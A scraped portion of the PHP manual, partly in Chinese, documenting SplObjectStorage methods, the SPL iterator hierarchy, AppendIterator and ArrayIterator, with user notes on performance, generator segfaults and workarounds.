acgrid 03-Jun-2016 06:58
The performance of SplObjectStorage in PHP7.0.7 has boosted a lot.

SplObjectStorage
double(1.3110690116882)
[object_hash => value]
double(2.4147419929504)
kontrollfreak+php at gmail dot com 10-Jul-2015 01:47
SplObjectStorage::offsetGet() can become EXTREMELY slow depending on the associated data (PHP 5.6).

<?php

// SplObjectStorage
$object = new stdClass;
$test = new SplObjectStorage;
$test->attach($object, str_repeat("\0", 1024*1024));
$start = microtime(true);
for ($i = 0; $i < 1000000; $i++) {
    $test->offsetGet($object);
}
var_dump(microtime(true) - $start); // 76 seconds!

// Array + spl_object_hash()
$object = new stdClass;
$test = [];
$test[spl_object_hash($object)] =  str_repeat("\0", 1024*1024);
$start = microtime(true);
for ($i = 0; $i < 1000000; $i++) {
    $temp = $test[spl_object_hash($object)];
}
var_dump(microtime(true) - $start); // 0.3 seconds


Associates data to an object in the storage

  • ? SplObjectStorage::offsetGet
  • SplObjectStorage::offsetUnset ?
  • PHP Manual
  • SplObjectStorage
  • Associates data to an object in the storage

SplObjectStorage::offsetSet

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplObjectStorage::offsetSet — Associates data to an object in the storage

说明

public SplObjectStorage::offsetSet(object $object, mixed $info = null): void

Associate data to an object in the storage.

Note:

SplObjectStorage::offsetSet() is an alias of SplObjectStorage::attach().

参数

object

The object to associate data with.

info

The data to associate with the object.

返回值

没有返回值。

示例

Example #1 SplObjectStorage::offsetSet() example

<?php
$s = new SplObjectStorage;

$o1 = new stdClass;

$s->offsetSet($o1, "hello"); // Similar to $s[$o1] = "hello";

var_dump($s[$o1]);
?>

以上示例的输出类似于：

string(5) "hello"

参见

  • SplObjectStorage::attach() - Adds an object in the storage
  • SplObjectStorage::offsetGet() - Returns the data associated with an object
  • SplObjectStorage::offsetExists() - Checks whether an object exists in the storage
  • SplObjectStorage::offsetUnset() - Removes an object from the storage

User Contributed Notes

aderh 05-Jul-2023 03:48
Although `offsetSet` is supposed to be an alias to `attach`, real-world results do not indicate that. When extending the SplObjectStorage class, it's expected that a modification to `attach` would also affect `offsetSet`. However, it seems they need to both be extended. Consider the results below...

<?php

declare(strict_types=1);

class CustomSplObjectStorage extends SplObjectStorage
{
    public function offsetSet(mixed $object, mixed $info = null): void
    {
        print("offsetSet called\n");
        parent::offsetSet($object, $info);
    }

    public function attach(mixed $object, mixed $info = null): void
    {
        print("attach called\n");
        parent::attach($object, $info);
    }
}

$a = new CustomSplObjectStorage();
$a[new stdClass()] = 'ok';
$a->attach(new stdClass(), 'ok');
?>

This prints:
```
offsetSet called
attach called
```

While we would expect...

```
offsetSet called
attach called
attach called
```

... if `offsetSet` was a true alias of `attach`. I'm not sure if this is intentional or not.


Removes an object from the storage

  • ? SplObjectStorage::offsetSet
  • SplObjectStorage::removeAll ?
  • PHP Manual
  • SplObjectStorage
  • Removes an object from the storage

SplObjectStorage::offsetUnset

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplObjectStorage::offsetUnset — Removes an object from the storage

说明

public SplObjectStorage::offsetUnset(object $object): void

Removes an object from the storage.

Note:

SplObjectStorage::offsetUnset() is an alias of SplObjectStorage::detach().

参数

object

The object to remove.

返回值

没有返回值。

示例

Example #1 SplObjectStorage::offsetUnset() example

<?php
$o = new stdClass;
$s = new SplObjectStorage();
$s->attach($o);
var_dump(count($s));
$s->offsetUnset($o); // Similar to unset($s[$o])
var_dump(count($s));
?>

以上示例的输出类似于：

int(1)
int(0)

参见

  • SplObjectStorage::offsetGet() - Returns the data associated with an object
  • SplObjectStorage::offsetSet() - Associates data to an object in the storage
  • SplObjectStorage::offsetExists() - Checks whether an object exists in the storage

User Contributed Notes

There are no user contributed notes for this page.


Removes objects contained in another storage from the current storage

  • ? SplObjectStorage::offsetUnset
  • SplObjectStorage::removeAllExcept ?
  • PHP Manual
  • SplObjectStorage
  • Removes objects contained in another storage from the current storage

SplObjectStorage::removeAll

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplObjectStorage::removeAll — Removes objects contained in another storage from the current storage

说明

public SplObjectStorage::removeAll(SplObjectStorage $storage): int

Removes objects contained in another storage from the current storage.

参数

storage

The storage containing the elements to remove.

返回值

Returns the number of remaining objects.

示例

Example #1 SplObjectStorage::removeAll() example

<?php
$o1 = new stdClass;
$o2 = new stdClass;
$a = new SplObjectStorage();
$a[$o1] = "foo";

$b = new SplObjectStorage();
$b[$o1] = "bar";
$b[$o2] = "gee";

var_dump(count($b));
$b->removeAll($a);
var_dump(count($b));
?>

以上示例的输出类似于：

int(2)
int(1)

参见

  • SplObjectStorage::addAll() - Adds all objects from another storage

User Contributed Notes

rafal dot wrzeszcz at wrzasq dot pl 22-May-2013 10:29
You can call:

$storage->removeAll($storage);

To remove all elements.


Removes all objects except for those contained in another storage from the current storage

  • ? SplObjectStorage::removeAll
  • SplObjectStorage::rewind ?
  • PHP Manual
  • SplObjectStorage
  • Removes all objects except for those contained in another storage from the current storage

SplObjectStorage::removeAllExcept

(PHP 5 >= 5.3.6, PHP 7, PHP 8)

SplObjectStorage::removeAllExcept — Removes all objects except for those contained in another storage from the current storage

说明

public SplObjectStorage::removeAllExcept(SplObjectStorage $storage): int

Removes all objects except for those contained in another storage from the current storage.

参数

storage

The storage containing the elements to retain in the current storage.

返回值

Returns the number of remaining objects.

示例

Example #1 SplObjectStorage::removeAllExcept() example

<?php
$a = (object) 'a';
$b = (object) 'b';
$c = (object) 'c';

$foo = new SplObjectStorage;
$foo->attach($a);
$foo->attach($b);

$bar = new SplObjectStorage;
$bar->attach($b);
$bar->attach($c);

$foo->removeAllExcept($bar);
var_dump($foo->contains($a));
var_dump($foo->contains($b));
?>

以上示例的输出类似于：

bool(false)
bool(true)

User Contributed Notes

hizer at hizercache dot com 06-Feb-2016 03:56
The example Kirk provided is not the best option, there's a method "removeAll" that you can pass the SplObjectStore itself, and as the name says, remove all stored objects.
kirk at wa dot net dot ua 21-Jun-2011 02:12
You may remove all elements by passing empty SplObjectStorage

$splStorage->removeAllExcept(new SplObjectStorage());


Rewind the iterator to the first storage element

  • ? SplObjectStorage::removeAllExcept
  • SplObjectStorage::serialize ?
  • PHP Manual
  • SplObjectStorage
  • Rewind the iterator to the first storage element

SplObjectStorage::rewind

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplObjectStorage::rewind — Rewind the iterator to the first storage element

说明

public SplObjectStorage::rewind(): void

Rewind the iterator to the first storage element.

参数

此函数没有参数。

返回值

没有返回值。

示例

Example #1 SplObjectStorage::rewind() example

<?php
$s = new SplObjectStorage();

$o1 = new stdClass;
$o2 = new stdClass;

$s->attach($o1, "d1");
$s->attach($o2, "d2");

$s->rewind();
while($s->valid()) {
$index = $s->key();
$object = $s->current(); // similar to current($s)
$data = $s->getInfo();

var_dump($object);
var_dump($data);
$s->next();
}
?>

以上示例的输出类似于：

int(1)
int(0)

参见

  • SplObjectStorage::next() - Move to the next entry

User Contributed Notes

There are no user contributed notes for this page.


Serializes the storage

  • ? SplObjectStorage::rewind
  • SplObjectStorage::setInfo ?
  • PHP Manual
  • SplObjectStorage
  • Serializes the storage

SplObjectStorage::serialize

(PHP 5 >= 5.2.2, PHP 7, PHP 8)

SplObjectStorage::serialize — Serializes the storage

说明

public SplObjectStorage::serialize(): string

Returns a string representation of the storage.

参数

此函数没有参数。

返回值

A string representing the storage.

示例

Example #1 SplObjectStorage::serialize() example

<?php
$s = new SplObjectStorage;
$o = new stdClass;
$s[$o] = "data";

echo $s->serialize()."\n";
?>

以上示例的输出类似于：

x:i:1;O:8:"stdClass":0:{},s:4:"data";;m:a:0:{}

参见

  • SplObjectStorage::unserialize() - Unserializes a storage from its string representation

User Contributed Notes

There are no user contributed notes for this page.


Sets the data associated with the current iterator entry

  • ? SplObjectStorage::serialize
  • SplObjectStorage::unserialize ?
  • PHP Manual
  • SplObjectStorage
  • Sets the data associated with the current iterator entry

SplObjectStorage::setInfo

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplObjectStorage::setInfo — Sets the data associated with the current iterator entry

说明

public SplObjectStorage::setInfo(mixed $info): void

Associates data, or info, with the object currently pointed to by the iterator.

参数

info

The data to associate with the current iterator entry.

返回值

没有返回值。

示例

Example #1 SplObjectStorage::setInfo() example

<?php
$s = new SplObjectStorage();

$o1 = new stdClass;
$o2 = new stdClass;

$s->attach($o1, "d1");
$s->attach($o2, "d2");

$s->rewind();
while($s->valid()) {
$s->setInfo("new");
$s->next();
}
var_dump($s[$o1]);
var_dump($s[$o2]);
?>

以上示例的输出类似于：

string(3) "new"
string(3) "new"

参见

  • SplObjectStorage::current() - Returns the current storage entry
  • SplObjectStorage::rewind() - Rewind the iterator to the first storage element
  • SplObjectStorage::key() - Returns the index at which the iterator currently is
  • SplObjectStorage::next() - Move to the next entry
  • SplObjectStorage::valid() - Returns if the current iterator entry is valid
  • SplObjectStorage::getInfo() - Returns the data associated with the current iterator entry

User Contributed Notes

There are no user contributed notes for this page.


Unserializes a storage from its string representation

  • ? SplObjectStorage::setInfo
  • SplObjectStorage::valid ?
  • PHP Manual
  • SplObjectStorage
  • Unserializes a storage from its string representation

SplObjectStorage::unserialize

(PHP 5 >= 5.2.2, PHP 7, PHP 8)

SplObjectStorage::unserialize — Unserializes a storage from its string representation

说明

public SplObjectStorage::unserialize(string $data): void

Unserializes storage entries and attach them to the current storage.

参数

data

The serialized representation of a storage.

返回值

没有返回值。

示例

Example #1 SplObjectStorage::unserialize() example

<?php
$s1 = new SplObjectStorage;
$s2 = new SplObjectStorage;
$o = new stdClass;
$s1[$o] = "data";

$s2->unserialize($s1->serialize());

var_dump(count($s2));
?>

以上示例的输出类似于：

int(1)

参见

  • SplObjectStorage::serialize() - Serializes the storage

User Contributed Notes

There are no user contributed notes for this page.


Returns if the current iterator entry is valid

  • ? SplObjectStorage::unserialize
  • 迭代器 ?
  • PHP Manual
  • SplObjectStorage
  • Returns if the current iterator entry is valid

SplObjectStorage::valid

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplObjectStorage::valid — Returns if the current iterator entry is valid

说明

public SplObjectStorage::valid(): bool

Returns if the current iterator entry is valid.

参数

此函数没有参数。

返回值

Returns true if the iterator entry is valid, false otherwise.

示例

Example #1 SplObjectStorage::valid() example

<?php
$s = new SplObjectStorage();

$o1 = new stdClass;
$o2 = new stdClass;

$s->attach($o1, "d1");
$s->attach($o2, "d2");

$s->rewind();
while($s->valid()) {
echo $s->key()."\n";
$s->next();
}
?>

以上示例的输出类似于：

0
1

参见

  • SplObjectStorage::current() - Returns the current storage entry
  • SplObjectStorage::getInfo() - Returns the data associated with the current iterator entry

User Contributed Notes

There are no user contributed notes for this page.


迭代器

Table of Contents

  • AppendIterator
  • ArrayIterator
  • CachingIterator
  • CallbackFilterIterator
  • DirectoryIterator
  • EmptyIterator
  • FilesystemIterator
  • FilterIterator
  • GlobIterator
  • InfiniteIterator
  • IteratorIterator
  • LimitIterator
  • MultipleIterator
  • NoRewindIterator
  • ParentIterator
  • RecursiveArrayIterator
  • RecursiveCachingIterator
  • RecursiveCallbackFilterIterator
  • RecursiveDirectoryIterator
  • RecursiveFilterIterator
  • RecursiveIteratorIterator
  • RecursiveRegexIterator
  • RecursiveTreeIterator
  • RegexIterator

SPL 提供一系列迭代器以遍历不同的对象。

SPL Iterators Class Tree

  • ArrayIterator
    • RecursiveArrayIterator
  • EmptyIterator
  • IteratorIterator
    • AppendIterator
    • CachingIterator
      • RecursiveCachingIterator
    • FilterIterator
      • CallbackFilterIterator
        • RecursiveCallbackFilterIterator
      • RecursiveFilterIterator
        • ParentIterator
      • RegexIterator
        • RecursiveRegexIterator
    • InfiniteIterator
    • LimitIterator
    • NoRewindIterator
  • MultipleIterator
  • RecursiveIteratorIterator
    • RecursiveTreeIterator
  • DirectoryIterator (extends SplFileInfo)
    • FilesystemIterator
      • GlobIterator
      • RecursiveDirectoryIterator

User Contributed Notes

There are no user contributed notes for this page.


AppendIterator 类

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

简介

这个迭代器能陆续遍历几个迭代器。

类摘要

class AppendIterator extends IteratorIterator {
/* 方法 */
public __construct()
public append(Iterator $iterator): void
public current(): mixed
public getArrayIterator(): ArrayIterator
public getIteratorIndex(): ?int
public key(): scalar
public next(): void
public rewind(): void
public valid(): bool
/* 继承的方法 */
public IteratorIterator::current(): mixed
public IteratorIterator::getInnerIterator(): ?Iterator
public IteratorIterator::key(): mixed
public IteratorIterator::next(): void
public IteratorIterator::rewind(): void
public IteratorIterator::valid(): bool
}

Table of Contents

  • AppendIterator::append — Appends an iterator
  • AppendIterator::__construct — Constructs an AppendIterator
  • AppendIterator::current — Gets the current value
  • AppendIterator::getArrayIterator — Gets the ArrayIterator
  • AppendIterator::getIteratorIndex — Gets an index of iterators
  • AppendIterator::key — Gets the current key
  • AppendIterator::next — Moves to the next element
  • AppendIterator::rewind — Rewinds the Iterator
  • AppendIterator::valid — Checks validity of the current element

User Contributed Notes

php at seanmorr dot is 25-Mar-2020 10:18
joshdifabio is technically correct, but I don't see this as a bug. You can't rewind a generator and thats what append iterator does.

If you want to use AppendIterator with Generators just wrap them with NoRewindIterator:

<?php
function foo() {
        foreach ([] as $foo) {
                yield $foo;
        }
}
$append = new AppendIterator();
$append->append(new NoRewindIterator(foo()));

var_dump(iterator_to_array($append));

https://3v4l.org/pgiXB
frode at ennerd dot com 06-Sep-2018 08:22
In many cases, especially for streaming sources, Generators are way more efficient. I noticed that the AppendIterator buffers the entire "inner iterator".

<?php
/**
 * This appends $next iterator to $iterator.
 */
function append_iterators(...$iterators){
    foreach($iterators as $iterator)
        foreach($iterator as $row)
            yield($row);
}

/**
 * Merge iterator takes one first from each iterator until
 * every iterator is empty.
 */
function merge_iterators(....$its) {
    $numberOfIts = sizeof($its);
    while($numberOfIts > 0) {
        $iterator = array_shift($its);
        yield($iterator->current());
        $iterator->next();
        if($iterator->valid())
            $its[] = $iterator;
        else
            $numberOfIts--;
    }
});
?>
komalbarun at gmail dot com 16-Mar-2017 03:57
Updated code.
 I could not find how to edit a note :/

Preventing segfault if empty generator.
<?php

$append_iterator = new \AppendIterator();

$generator = some_generator();

// Only works if first value in generator is not empty
// useful when yielding arrays
foreach ($generator as $value)
{
    //If first $value not empty, generator is not empty.
    if(!empty($value))
    {
        $append_iterator->append($generator );
        //break out of loop after appending.
        break;
    }
}
komalbarun at gmail dot com 16-Mar-2017 03:52
Updated code.
 I could not find how to edit a note :/

Preventing segfault if empty generator.
<?php

$append_iterator = new \AppendIterator();

$generator = ReportModel::come_generator();

// Only works if first value in generator is not empty
// useful when yielding arrays
foreach ($append_iterator as $value)
{
    //If first $value not empty, generator is not empty.
    if(!empty($value))
    {
        $append_iterator->append($errors);
        //break out of loop after appending.
    break;
    }
}
koambarun at evolution dot com 16-Mar-2017 05:29
$append_iterator = new \AppendIterator();

$generator = ReportModel::come_generator();

foreach ($errors as $value)
{
    //If first $value not empty, generator is not empty.
    if(!empty($value))
    {
        $append_iterator->append($errors);
        //break out of loop after appending.
    break;
    }
}
joshdifabio at gmail dot com 15-Jun-2016 01:56
Note that AppendIterator will segfault when iterating over an empty generator. Do not use AppendIterator in conjunction with generators.

https://3v4l.org/YC68k

https://bugs.php.net/bug.php?id=71436


Appends an iterator

  • ? AppendIterator
  • AppendIterator::__construct ?
  • PHP Manual
  • AppendIterator
  • Appends an iterator

AppendIterator::append

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

AppendIterator::append — Appends an iterator

说明

public AppendIterator::append(Iterator $iterator): void

Appends an iterator.

参数

iterator

The iterator to append.

返回值

没有返回值。

示例

Example #1 AppendIterator::append() example

<?php
$array_a = new ArrayIterator(array('a', 'b', 'c'));
$array_b = new ArrayIterator(array('d', 'e', 'f'));

$iterator = new AppendIterator;
$iterator->append($array_a);
$iterator->append($array_b);

foreach ($iterator as $current) {
echo $current;
}
?>

以上示例会输出：

abcdef

参见

  • AppendIterator::__construct() - Constructs an AppendIterator

User Contributed Notes

There are no user contributed notes for this page.


Constructs an AppendIterator

  • ? AppendIterator::append
  • AppendIterator::current ?
  • PHP Manual
  • AppendIterator
  • Constructs an AppendIterator

AppendIterator::__construct

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

AppendIterator::__construct — Constructs an AppendIterator

说明

public AppendIterator::__construct()

Constructs an AppendIterator.

参数

此函数没有参数。

示例

Example #1 Iterating AppendIterator with foreach

<?php
$pizzas = new ArrayIterator(array('Margarita', 'Siciliana', 'Hawaii'));
$toppings = new ArrayIterator(array('Cheese', 'Anchovies', 'Olives', 'Pineapple', 'Ham'));

$appendIterator = new AppendIterator;
$appendIterator->append($pizzas);
$appendIterator->append($toppings);

foreach ($appendIterator as $key => $item) {
echo $key . ' => ' . $item . PHP_EOL;
}
?>

以上示例会输出：

0 => Margarita
1 => Siciliana
2 => Hawaii
0 => Cheese
1 => Anchovies
2 => Olives
3 => Pineapple
4 => Ham

Example #2 Iterating AppendIterator with the AppendIterator API

<?php
$pizzas = new ArrayIterator(array('Margarita', 'Siciliana', 'Hawaii'));
$toppings = new ArrayIterator(array('Cheese', 'Anchovies', 'Olives', 'Pineapple', 'Ham'));

$appendIterator = new AppendIterator;
$appendIterator->append($pizzas);
$appendIterator->append($toppings);

while ($appendIterator->valid()) {
printf(
'%s => %s => %s%s',
$appendIterator->getIteratorIndex(),
$appendIterator->key(),
$appendIterator->current(),
PHP_EOL
);
$appendIterator->next();
}
?>

以上示例会输出：

0 => 0 => Margarita
0 => 1 => Siciliana
0 => 2 => Hawaii
1 => 0 => Cheese
1 => 1 => Anchovies
1 => 2 => Olives
1 => 3 => Pineapple
1 => 4 => Ham

注释

Caution

When using iterator_to_array() to copy the values of the AppendIterator into an array, you have to set the optional use_key argument to false. When use_key is not false any keys reoccurring in inner iterators will get overwritten in the returned array. There is no way to preserve the original keys.

参见

  • AppendIterator::append() - Appends an iterator

User Contributed Notes

There are no user contributed notes for this page.


Gets the current value

  • ? AppendIterator::__construct
  • AppendIterator::getArrayIterator ?
  • PHP Manual
  • AppendIterator
  • Gets the current value

AppendIterator::current

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

AppendIterator::current — Gets the current value

说明

public AppendIterator::current(): mixed

Gets the current value.

参数

此函数没有参数。

返回值

The current value if it is valid or null otherwise.

参见

  • Iterator::current() - 返回当前元素
  • AppendIterator::key() - Gets the current key
  • AppendIterator::valid() - Checks validity of the current element
  • AppendIterator::next() - Moves to the next element
  • AppendIterator::rewind() - Rewinds the Iterator

User Contributed Notes

There are no user contributed notes for this page.


Gets the ArrayIterator

  • ? AppendIterator::current
  • AppendIterator::getIteratorIndex ?
  • PHP Manual
  • AppendIterator
  • Gets the ArrayIterator

AppendIterator::getArrayIterator

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

AppendIterator::getArrayIterator — Gets the ArrayIterator

说明

public AppendIterator::getArrayIterator(): ArrayIterator

This method gets the ArrayIterator that is used to store the iterators added with AppendIterator::append().

参数

此函数没有参数。

返回值

Returns an ArrayIterator containing the appended iterators.

参见

  • AppendIterator::getInnerIterator()

User Contributed Notes

There are no user contributed notes for this page.


Gets an index of iterators

  • ? AppendIterator::getArrayIterator
  • AppendIterator::key ?
  • PHP Manual
  • AppendIterator
  • Gets an index of iterators

AppendIterator::getIteratorIndex

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

AppendIterator::getIteratorIndex — Gets an index of iterators

说明

public AppendIterator::getIteratorIndex(): ?int

Gets the index of the current inner iterator.

参数

此函数没有参数。

返回值

Returns the zero-based, integer index of the current inner iterator if it exists, or null otherwise.

示例

Example #1 AppendIterator.getIteratorIndex() basic example

<?php
$array_a = new ArrayIterator(array('a' => 'aardwolf', 'b' => 'bear', 'c' => 'capybara'));
$array_b = new ArrayIterator(array('apple', 'orange', 'lemon'));

$iterator = new AppendIterator;
$iterator->append($array_a);
$iterator->append($array_b);

foreach ($iterator as $key => $current) {
echo $iterator->getIteratorIndex() . ' ' . $key . ' ' . $current . PHP_EOL;
}
?>

以上示例会输出：

0  a aardwolf
0  b bear
0  c capybara
1  0 apple
1  1 orange
1  2 lemon

参见

  • AppendIterator::getInnerIterator()
  • AppendIterator::getArrayIterator() - Gets the ArrayIterator

User Contributed Notes

There are no user contributed notes for this page.


Gets the current key

  • ? AppendIterator::getIteratorIndex
  • AppendIterator::next ?
  • PHP Manual
  • AppendIterator
  • Gets the current key

AppendIterator::key

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

AppendIterator::key — Gets the current key

说明

public AppendIterator::key(): scalar

Get the current key.

参数

此函数没有参数。

返回值

The current key if it is valid or null otherwise.

示例

Example #1 AppendIterator::key() basic example

<?php
$array_a = new ArrayIterator(array('a' => 'aardwolf', 'b' => 'bear', 'c' => 'capybara'));
$array_b = new ArrayIterator(array('apple', 'orange', 'lemon'));

$iterator = new AppendIterator;
$iterator->append($array_a);
$iterator->append($array_b);

// Manual iteration
$iterator->rewind();
while ($iterator->valid()) {
echo $iterator->key() . ' ' . $iterator->current() . PHP_EOL;
$iterator->next();
}

echo PHP_EOL;

// With foreach
foreach ($iterator as $key => $current) {
echo $key . ' ' . $current . PHP_EOL;
}
?>

以上示例会输出：

a aardwolf
b bear
c capybara
0 apple
1 orange
2 lemon

a aardwolf
b bear
c capybara
0 apple
1 orange
2 lemon

参见

  • Iterator::key() - 返回当前元素的键
  • AppendIterator::current() - Gets the current value
  • AppendIterator::valid() - Checks validity of the current element
  • AppendIterator::next() - Moves to the next element
  • AppendIterator::rewind() - Rewinds the Iterator

User Contributed Notes

There are no user contributed notes for this page.


Moves to the next element

  • ? AppendIterator::key
  • AppendIterator::rewind ?
  • PHP Manual
  • AppendIterator
  • Moves to the next element

AppendIterator::next

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

AppendIterator::next — Moves to the next element

说明

public AppendIterator::next(): void

Moves to the next element. If this means to another Iterator then it rewinds that Iterator.

参数

此函数没有参数。

返回值

没有返回值。

参见

  • Iterator::next() - 向前移动到下一个元素
  • AppendIterator::current() - Gets the current value
  • AppendIterator::key() - Gets the current key
  • AppendIterator::valid() - Checks validity of the current element
  • AppendIterator::rewind() - Rewinds the Iterator

User Contributed Notes

There are no user contributed notes for this page.


Rewinds the Iterator

  • ? AppendIterator::next
  • AppendIterator::valid ?
  • PHP Manual
  • AppendIterator
  • Rewinds the Iterator

AppendIterator::rewind

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

AppendIterator::rewind — Rewinds the Iterator

说明

public AppendIterator::rewind(): void

Rewind to the first element of the first inner Iterator.

参数

此函数没有参数。

返回值

没有返回值。

参见

  • Iterator::rewind() - 返回到迭代器的第一个元素
  • AppendIterator::current() - Gets the current value
  • AppendIterator::key() - Gets the current key
  • AppendIterator::next() - Moves to the next element
  • AppendIterator::valid() - Checks validity of the current element

User Contributed Notes

There are no user contributed notes for this page.


Checks validity of the current element

  • ? AppendIterator::rewind
  • ArrayIterator ?
  • PHP Manual
  • AppendIterator
  • Checks validity of the current element

AppendIterator::valid

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

AppendIterator::valid — Checks validity of the current element

说明

public AppendIterator::valid(): bool

Checks validity of the current element.

参数

此函数没有参数。

返回值

Returns true if the current iteration is valid, false otherwise.

参见

  • AppendIterator::current() - Gets the current value
  • AppendIterator::key() - Gets the current key
  • AppendIterator::next() - Moves to the next element
  • AppendIterator::rewind() - Rewinds the Iterator

User Contributed Notes

There are no user contributed notes for this page.


ArrayIterator 类

(PHP 5, PHP 7, PHP 8)

简介

允许在迭代数组和对象时删除元素以及更新值或键。

当你想多次遍历相同数组时你需要实例化 ArrayObject，然后让这个实例创建一个 ArrayIterator 实例。 当你想遍历相同数组时多次你需要实例 ArrayObject 并且让这个实例创建一个 ArrayIterator 实例，然后使用 foreach 或者手动调用 getIterator() 方法。

类摘要

class ArrayIterator implements SeekableIterator, ArrayAccess, Serializable, Countable {
/* 常量 */
public const int STD_PROP_LIST;
public const int ARRAY_AS_PROPS;
/* 方法 */
public __construct(array|object $array = [], int $flags = 0)
public append(mixed $value): void
public asort(int $flags = SORT_REGULAR): true
public count(): int
public current(): mixed
public getArrayCopy(): array
public getFlags(): int
public key(): string|int|null
public ksort(int $flags = SORT_REGULAR): true
public natcasesort(): true
public natsort(): true
public next(): void
public offsetExists(mixed $key): bool
public offsetGet(mixed $key): mixed
public offsetSet(mixed $key, mixed $value): void
public offsetUnset(mixed $key): void
public rewind(): void
public seek(int $offset): void
public serialize(): string
public setFlags(int $flags): void
public uasort(callable $callback): true
public uksort(callable $callback): true
public unserialize(string $data): void
public valid(): bool
}

预定义常量

ArrayIterator 标记

ArrayIterator::STD_PROP_LIST

Properties of the object have their normal functionality when accessed as list (var_dump, foreach, etc.).

ArrayIterator::ARRAY_AS_PROPS

可以通过属性访问条目（读写都支持）。

Table of Contents

  • ArrayIterator::append — Append an element
  • ArrayIterator::asort — Sort entries by values
  • ArrayIterator::__construct — Construct an ArrayIterator
  • ArrayIterator::count — Count elements
  • ArrayIterator::current — Return current array entry
  • ArrayIterator::getArrayCopy — Get array copy
  • ArrayIterator::getFlags — Get behavior flags
  • ArrayIterator::key — Return current array key
  • ArrayIterator::ksort — Sort entries by keys
  • ArrayIterator::natcasesort — Sort entries naturally, case insensitive
  • ArrayIterator::natsort — Sort entries naturally
  • ArrayIterator::next — Move to next entry
  • ArrayIterator::offsetExists — Check if offset exists
  • ArrayIterator::offsetGet — Get value for an offset
  • ArrayIterator::offsetSet — Set value for an offset
  • ArrayIterator::offsetUnset — Unset value for an offset
  • ArrayIterator::rewind — Rewind array back to the start
  • ArrayIterator::seek — Seek to position
  • ArrayIterator::serialize — Serialize
  • ArrayIterator::setFlags — Set behaviour flags
  • ArrayIterator::uasort — Sort with a user-defined comparison function and maintain index association
  • ArrayIterator::uksort — Sort by keys using a user-defined comparison function
  • ArrayIterator::unserialize — Unserialize
  • ArrayIterator::valid — Check whether array contains more entries

User Contributed Notes

butesa at freenet dot de 28-Oct-2022 05:11
The documentation states "This iterator allows to unset and modify values and keys while iterating over Arrays and Objects". But if you pass an array to the constructor, the iterator works with a copy of that array, so the modifications will not be written back to that initial array. ArrayObject behaves the same way.

If you want an iterator that writes back to the array, you can use this function:

<?php
function &getArrayIterator(array &$a): Iterator {
    foreach ($a as $k => &$v) {
        yield $k => $v;
    }
}
?>

Usage:

<?php
$array = [1 => 'a', 2 => 'b'];

$iterator = getArrayIterator($array);
foreach ($iterator as &$value) {
    $value .= 'x';
}

//array(2) {
//  [1]=>
//  string(2) "ax"
//  [2]=>
//  &string(2) "bx"
//}
//object(Generator)#4 (0) {
//}
var_dump($array);
var_dump($iterator);

?>

Comparison with plain array, ArrayIterator and ArrayObject:

<?php
$array1 = [1 => 'a', 2 => 'b'];
$array2 = [1 => 'a', 2 => 'b'];
$array3 = [1 => 'a', 2 => 'b'];

foreach ($array1 as &$value) {
    $value .= 'x';
}

$iterator2 = new ArrayIterator($array2);
foreach ($iterator2 as &$value) {
    $value .= 'x';
}

$iterator3 = new ArrayObject($array3);
foreach ($iterator3 as &$value) {
    $value .= 'x';
}

//array(2) {
//  [1]=>
//  string(2) "ax"
//  [2]=>
//  string(2) "bx"
//}
var_dump($array1);

//array(2) {
//  [1]=>
//  string(1) "a"
//  [2]=>
//  string(1) "b"
//}
//object(ArrayIterator)#1 (1) {
//  ["storage":"ArrayIterator":private]=>
//  array(2) {
//    [1]=>
//    string(2) "ax"
//    [2]=>
//    string(2) "bx"
//  }
//}
var_dump($array2);
var_dump($iterator2);

//array(2) {
//  [1]=>
//  string(1) "a"
//  [2]=>
//  string(1) "b"
//}
//object(ArrayObject)#2 (1) {
//  ["storage":"ArrayObject":private]=>
//  array(2) {
//    [1]=>
//    string(2) "ax"
//    [2]=>
//    string(2) "bx"
//  }
//}
var_dump($array3);
var_dump($iterator3);
?>
shaman_master at list dot ru 01-Dec-2019 06:48
If you want something like `ArrayCallbackIterator` by Relakuyae https://www.php.net/manual/ru/class.arrayiterator.php#106231 , use function `iterator_apply`.
daniel dot rutkoski at gmail dot com 25-Sep-2015 02:28
<?php
class PrintArray
{
    private $code = null;

    function __construct ($val)
    {
        $this->code = $val;
        $this->_print();
    }

    private function arrayIterator($val, $grau)
    {
        $grau++;
        $arr = new \ArrayIterator($val);
        while ($arr->valid())
        {
            if(is_array($arr->current()))
            {
                $this->arrayIterator($arr->current(), $grau);
            }
            else
            {
                $this->code .= str_repeat(" ", (4 * $grau)) . $arr->key() . " : " . $arr->current() . PHP_EOL;
            }
            $arr->next();
        }
    }

    private function _print()
    {
        if (is_array($this->code))
        {
            $arr = new \ArrayIterator($this->code);
            $this->code = 'array(' . PHP_EOL;
            while ($arr->valid())
            {
                if(is_array($arr->current()))
                {
                    $this->arrayIterator($arr->current(), 0);
                }
                else
                {
                    $this->code .= $arr->key() . " : " . $arr->current() . "\n";
                }
                $arr->next();
            }
            $this->code .= ')';
        }
        return $this;
    }

    public function getVal ()
    {
        return $this->code;
    }
}

$arr = array(
    array(
        'ok' => 1, array(9,7,5,9,'a','b'=>array(1,2)),
        'error' => 2, array('h','u','o')
    )
    , 'array'
);
$pArray = new PrintArray($arr);
var_dump($pArray->getVal());
Relakuyae 19-Oct-2011 05:23
Need a callback on an iterated value, but don't have PHP 5.4+?  This makes is stupid easy:

<?php
class ArrayCallbackIterator extends ArrayIterator {
  private $callback;
  public function __construct($value, $callback) {
    parent::__construct($value);
    $this->callback = $callback;
  }

  public function current() {
    $value = parent::current();
    return call_user_func($this->callback, $value);
  }
}
?>

You can use it pretty much exactly as the Array Iterator:

<?php
$iterator1 = new ArrayCallbackIterator($valueList, "callback_function");
